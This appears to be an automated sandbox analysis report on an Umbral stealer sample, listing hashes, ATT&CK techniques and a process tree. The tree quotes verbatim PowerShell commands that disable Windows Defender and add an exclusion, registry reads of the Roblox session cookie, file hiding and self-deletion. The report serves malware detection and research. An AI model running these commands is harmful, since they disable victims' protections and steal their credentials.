umbral | e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed

Analysis

max time kernel
92s
max time network
93s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-12-2024 02:04

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General

Target

e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe
Size

229KB
MD5

1e10af7811808fc24065f18535cf1220
SHA1

65995bcb862aa66988e1bb0dbff75dcac9b400c7
SHA256

e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed
SHA512

f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc
SSDEEP

6144:lloZMQfsXtioRkts/cnnK6cMldKRn/1+mpnsl3ySXCkb8e1muhi:noZItlRk83MldKRn/1+mpnsl3ySXze

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3940-1-0x000001FDF5DC0000-0x000001FDF5E00000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5072	powershell.exe
2748	powershell.exe
936	powershell.exe
1868	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4256	cmd.exe
3504	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3156	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3504	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5072	powershell.exe
5072	powershell.exe
2748	powershell.exe
2748	powershell.exe
936	powershell.exe
936	powershell.exe
2544	powershell.exe
2544	powershell.exe
1868	powershell.exe
1868	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeIncreaseQuotaPrivilege	896	wmic.exe
Token: SeSecurityPrivilege	896	wmic.exe
Token: SeTakeOwnershipPrivilege	896	wmic.exe
Token: SeLoadDriverPrivilege	896	wmic.exe
Token: SeSystemProfilePrivilege	896	wmic.exe
Token: SeSystemtimePrivilege	896	wmic.exe
Token: SeProfSingleProcessPrivilege	896	wmic.exe
Token: SeIncBasePriorityPrivilege	896	wmic.exe
Token: SeCreatePagefilePrivilege	896	wmic.exe
Token: SeBackupPrivilege	896	wmic.exe
Token: SeRestorePrivilege	896	wmic.exe
Token: SeShutdownPrivilege	896	wmic.exe
Token: SeDebugPrivilege	896	wmic.exe
Token: SeSystemEnvironmentPrivilege	896	wmic.exe
Token: SeRemoteShutdownPrivilege	896	wmic.exe
Token: SeUndockPrivilege	896	wmic.exe
Token: SeManageVolumePrivilege	896	wmic.exe
Token: 33	896	wmic.exe
Token: 34	896	wmic.exe
Token: 35	896	wmic.exe
Token: 36	896	wmic.exe
Token: SeIncreaseQuotaPrivilege	896	wmic.exe
Token: SeSecurityPrivilege	896	wmic.exe
Token: SeTakeOwnershipPrivilege	896	wmic.exe
Token: SeLoadDriverPrivilege	896	wmic.exe
Token: SeSystemProfilePrivilege	896	wmic.exe
Token: SeSystemtimePrivilege	896	wmic.exe
Token: SeProfSingleProcessPrivilege	896	wmic.exe
Token: SeIncBasePriorityPrivilege	896	wmic.exe
Token: SeCreatePagefilePrivilege	896	wmic.exe
Token: SeBackupPrivilege	896	wmic.exe
Token: SeRestorePrivilege	896	wmic.exe
Token: SeShutdownPrivilege	896	wmic.exe
Token: SeDebugPrivilege	896	wmic.exe
Token: SeSystemEnvironmentPrivilege	896	wmic.exe
Token: SeRemoteShutdownPrivilege	896	wmic.exe
Token: SeUndockPrivilege	896	wmic.exe
Token: SeManageVolumePrivilege	896	wmic.exe
Token: 33	896	wmic.exe
Token: 34	896	wmic.exe
Token: 35	896	wmic.exe
Token: 36	896	wmic.exe
Token: SeIncreaseQuotaPrivilege	1680	wmic.exe
Token: SeSecurityPrivilege	1680	wmic.exe
Token: SeTakeOwnershipPrivilege	1680	wmic.exe
Token: SeLoadDriverPrivilege	1680	wmic.exe
Token: SeSystemProfilePrivilege	1680	wmic.exe
Token: SeSystemtimePrivilege	1680	wmic.exe
Token: SeProfSingleProcessPrivilege	1680	wmic.exe
Token: SeIncBasePriorityPrivilege	1680	wmic.exe
Token: SeCreatePagefilePrivilege	1680	wmic.exe
Token: SeBackupPrivilege	1680	wmic.exe
Token: SeRestorePrivilege	1680	wmic.exe
Token: SeShutdownPrivilege	1680	wmic.exe
Token: SeDebugPrivilege	1680	wmic.exe
Token: SeSystemEnvironmentPrivilege	1680	wmic.exe
Token: SeRemoteShutdownPrivilege	1680	wmic.exe
Token: SeUndockPrivilege	1680	wmic.exe
Token: SeManageVolumePrivilege	1680	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3940 wrote to memory of 3404	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	82
PID 3940 wrote to memory of 3404	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	82
PID 3940 wrote to memory of 5072	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	84
PID 3940 wrote to memory of 5072	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	84
PID 3940 wrote to memory of 2748	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	86
PID 3940 wrote to memory of 2748	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	86
PID 3940 wrote to memory of 936	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	88
PID 3940 wrote to memory of 936	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	88
PID 3940 wrote to memory of 2544	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	90
PID 3940 wrote to memory of 2544	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	90
PID 3940 wrote to memory of 896	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	92
PID 3940 wrote to memory of 896	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	92
PID 3940 wrote to memory of 1680	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	95
PID 3940 wrote to memory of 1680	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	95
PID 3940 wrote to memory of 4424	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	97
PID 3940 wrote to memory of 4424	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	97
PID 3940 wrote to memory of 1868	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	99
PID 3940 wrote to memory of 1868	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	99
PID 3940 wrote to memory of 3156	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	101
PID 3940 wrote to memory of 3156	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	101
PID 3940 wrote to memory of 4256	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	103
PID 3940 wrote to memory of 4256	3940	e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe	103
PID 4256 wrote to memory of 3504	4256	cmd.exe	105
PID 4256 wrote to memory of 3504	4256	cmd.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3404	attrib.exe

C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe
"C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe"
  2⤵
  - Views/modifies file attributes
  PID:3404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:896
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3156
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
41120e49627e6d5a441e73eaf2234fda

SHA1
7cec7db783f5958d16f06e9498fdaaacec8b50aa

SHA256
16dcb1cb96eeb52d5206a72cb7b6209de256415fdc746cc7c95a36131e7f83f7

SHA512
cd2995f7e67075129ef9ff06beebb122f0bfcfaef425ed69ae81a7ae02c2b2dccd1bb59e0ed07064f8193608bea66b2f753d2dd81a6392d261f24a53d1c138b8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9d07f3e14349738cdede571f8215d907

SHA1
01cd4a12286cb61abbd13716d6c9a4e7b1a4eb4e

SHA256
7298068a22b6a6e04c2c8a3c85d0635bbbc4a5abf8ceefcb9432b75eabd25dc2

SHA512
575d4ffacaeb9c857b4b64d31e35ffb68868b0de572c560b27efdf65f10749c5c034ecc0b202367efded80e73c9599599f6590692843bc6ef4ebf5fc9f6a95e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bgfgrn0l.4qf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3940-72-0x000001FDF7B70000-0x000001FDF7B7A000-memory.dmp

Filesize
40KB

Download
memory/3940-35-0x000001FDF84F0000-0x000001FDF850E000-memory.dmp

Filesize
120KB

Download
memory/3940-93-0x00007FF9024F0000-0x00007FF902FB1000-memory.dmp

Filesize
10.8MB

Download
memory/3940-73-0x000001FDF84B0000-0x000001FDF84C2000-memory.dmp

Filesize
72KB

Download
memory/3940-2-0x00007FF9024F0000-0x00007FF902FB1000-memory.dmp

Filesize
10.8MB

Download
memory/3940-33-0x000001FDF8530000-0x000001FDF85A6000-memory.dmp

Filesize
472KB

Download
memory/3940-34-0x000001FDF85B0000-0x000001FDF8600000-memory.dmp

Filesize
320KB

Download
memory/3940-0-0x00007FF9024F3000-0x00007FF9024F5000-memory.dmp

Filesize
8KB

Download
memory/3940-1-0x000001FDF5DC0000-0x000001FDF5E00000-memory.dmp

Filesize
256KB

Download
memory/5072-15-0x00007FF9024F0000-0x00007FF902FB1000-memory.dmp

Filesize
10.8MB

Download
memory/5072-14-0x00007FF9024F0000-0x00007FF902FB1000-memory.dmp

Filesize
10.8MB

Download
memory/5072-3-0x0000028A7FA20000-0x0000028A7FA42000-memory.dmp

Filesize
136KB

Download
memory/5072-13-0x00007FF9024F0000-0x00007FF902FB1000-memory.dmp

Filesize
10.8MB

Download
memory/5072-18-0x00007FF9024F0000-0x00007FF902FB1000-memory.dmp

Filesize
10.8MB

Download